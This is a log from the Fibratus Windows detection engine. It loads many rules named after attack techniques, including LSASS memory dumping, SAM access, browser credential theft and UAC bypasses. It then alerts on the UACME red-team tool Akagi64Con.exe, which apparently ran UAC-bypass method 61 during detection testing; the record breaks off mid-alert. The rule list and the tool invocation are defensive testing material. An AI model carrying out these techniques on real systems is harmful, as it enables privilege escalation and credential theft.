C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:36:47+01:00 level=info msg=bootstrapping with pid 11524. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:36:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-net=>true enable-dns=>false enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false min-buffers=>16 enable-handle=>false enable-vamap=>true stack-enrichment=>true enable-registry=>true enable-image=>true flush-interval=>1s max-buffers=>36 enable-fileio=>true buffer-size=>512 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-size=>100 level=>info formatter=>text max-age=>0] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] timeout=>5s method=>POST serializer=>json enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s trace-log=>false template-name=>fibratus sniff=>false healthcheck=>true enabled=>false healthcheck-timeout=>5s index-name=>fibratus timeout=>5s gzip-compression=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic timeout=>5s durable=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s fastscan=>true skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:36:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:36:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:37:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:37:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:37:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:37:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:37:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:37:46+01:00 level=info msg=bootstrapping with pid 8952. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:37:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-handle=>false max-buffers=>36 min-buffers=>16 flush-interval=>1s enable-fileio=>true enable-registry=>true enable-mem=>false enable-threadpool=>false enable-net=>true enable-dns=>false buffer-size=>512 enable-image=>true enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info max-age=>0 formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ bulk-workers=>1 flush-period=>1s sniff=>false healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s template-name=>fibratus index-name=>fibratus enabled=>false gzip-compression=>false trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ enabled=>false passive=>false delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s routing-key=>fibratus durable=>false exchange-type=>topic] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json enabled=>false timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:37:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:37:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:38:01+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{61DC8DA0-B2A5-4D02-B06C-5F7BF0E11FC6}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 9496384 + Pid: 4216 + Tid: 4276 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:37:54.0851592 +0100 CET + Params: key_handle➜ ffffc38f1d4aa540, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{61DC8DA0-B2A5-4D02-B06C-5F7BF0E11FC6}\, status➜ Success + Metadata: technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Hidden registry key creation, technique.id: T1112 + + Pid: 4216 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 61 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: 